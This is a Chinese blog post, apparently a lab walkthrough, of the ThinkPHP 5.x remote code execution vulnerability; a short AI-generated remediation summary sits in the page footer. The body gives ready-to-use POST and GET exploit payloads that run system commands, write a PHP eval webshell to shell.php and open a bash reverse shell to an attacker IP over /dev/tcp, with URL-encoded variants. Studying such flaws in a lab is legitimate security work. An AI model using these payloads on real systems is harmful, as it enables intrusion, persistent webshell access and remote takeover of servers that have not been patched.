thinkphp5框架漏洞

本文详细描述了ThinkPHP框架中5.x版本的一个远程代码执行漏洞,指出无需登录即可执行任意命令,涉及版本范围和利用方法,包括GET和POST请求的PoC实例,以及如何通过系统函数执行PHP代码和创建反弹shell。
摘要由CSDN通过智能技术生成

条件:

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

具体版本

5.x < 5.1.31

 5.0.x<= 5.0.23

框架介绍:

ThinkPHP是一个免费开源的,快速、简单的面向对象的
轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的

 工具fuzz:

扫描到了

但是这里靶场搭建在本机,工具也在本机,由于工具本身的问题,可能会执行不了命令。把靶场搭建在虚拟机,再去尝试发现可以成功。

poc:  windos

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

注意:通过post方法提交上面的poc的同时,还要通过url当中传递参数?s=captcha(指定路由规则)

操作:
原因分析:

该漏洞的本质是由变量覆盖造成的rce漏洞。

poc分析

method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类
型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量  

poc利用:
不仅可以用来执行系统命令

还可以用来写入一句话木马

补充:system函数是php当中的函数,它不仅可以用来执行系统命令也可以用来执行php代码

使用 echo向文件中输出内容的基本方法是使用IO重定向指令——“>”,默认情况下echo输出到标准输出(屏幕)中,使用>指令可重定向输出到文件中。

poc:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > shell.php
注意echo的后面要有空格,否则写入的内容为空

 通过echo输出字符串,原本是输出到屏幕当中,这里使用文件重定向,将内容输出到指定文件当中,如果文件不存在则创建文件并写入。

虽然写入的php文件当中php代码是被双引号包裹的,但是这里文件后缀就是php,只要符合php格式的,就会以php格式去解析,所以代码还是可以执行的。

poc:Linux:

_method=__construct&filter[]=system&method=get&get[]=pwd
请求路径:index.php?s=captcha
调用system 执行whoami
TP5的验证码在
/vendor/topthink/think-
captcha 目录下,文件

get请求方法poc

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

注意:需要对特殊字符使用^转义
(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url码不编码都行。

get方法写入shell poc
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php@eval($_POST[cmd]);?^> >shell.php

反弹shell(需进行url特殊符号编码)

什么是反弹shell(reverse shell)?
就是控制端监听某TCP/UDP端口,被控端发起请求到该端口建立连接,并将其命令行的输入输出转到攻击机。

这个poc是通过post方法提交的,然后url当中还是要提交?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261“
特殊url编码之后的POC
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.188.116%2F9999%200%3E%261"

反弹shell命令解释


/bin/bash -c: 这是在Linux中执行一个shell命令的标准方式。
bash -i: 这会进入交互模式的shell
>& /dev/tcp/192.168.188.116/9999 0>&1: 这部分是一个用于将输出和输入重定向到指定IP地址和
端口的命令,实现了远程连接

使用dev/tcp协议:在执行bashshell的同时,与指定的ip和端口建立tcp连接

0> :是bash命令当中的输入输出重定向

0>&1:将输入输出连接在一起

这个里面的ip就是攻击机的ip,这段代码是要发给靶机去执行bashshell,然后弹出shell之后让他访问攻击机的IP和端口,同时因为攻击机开启了对应监听的端口,所以在攻击机就获得了靶机的shell。

  • 16
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一款流行的PHP开发框架,5.x版本也是比较常用的版本。虽然ThinkPHP是一个优秀的框架,但仍然存在一些潜在的安全漏洞,因此及时修复这些漏洞是非常重要的。修复ThinkPHP 5.x漏洞可以从以下几个方面入手: 1. 更新最新版本:保持框架的版本更新是修复漏洞的首要措施。ThinkPHP团队会不断发布更新版本来修复漏洞和增加新功能,因此及时更新到最新版本是必要的。可以在官方网站上查看并下载最新版本的ThinkPHP。 2. 安全审计:进行代码审计是另一个重要的步骤。检查应用程序的代码和配置文件,特别是控制器和模型中的用户输入和数据库查询,以确保没有任何可能导致代码执行或SQL注入等安全问题的漏洞。 3. 安全加固:可以通过加强安全措施来修复漏洞。例如,禁用不必要的文件或函数、密钥管理和访问控制等措施可以帮助提高系统的安全性。 4. 过滤用户输入:用户输入是最常见的安全漏洞来源之一。应该对用户输入数据进行严格的过滤和验证,确保输入的数据符合预期的格式和范围,并防止XSS和SQL注入等攻击。 5. 强化认证与权限管理:加强用户认证措施,使用强密码和加密技术来保护用户的登录信息。在系统中实施严格的权限管理,限制用户的访问权限,以避免恶意用户越权操作。 总之,修复ThinkPHP 5.x漏洞需要全面考虑各个方面的安全问题,并严格遵循最佳实践。及时更新版本、进行安全审计、加强安全措施、过滤用户输入、强化认证与权限管理等措施都是非常有效的方法。同时也建议开发者关注ThinkPHP官方的漏洞公告和安全建议,及时了解并修复已经公开的漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值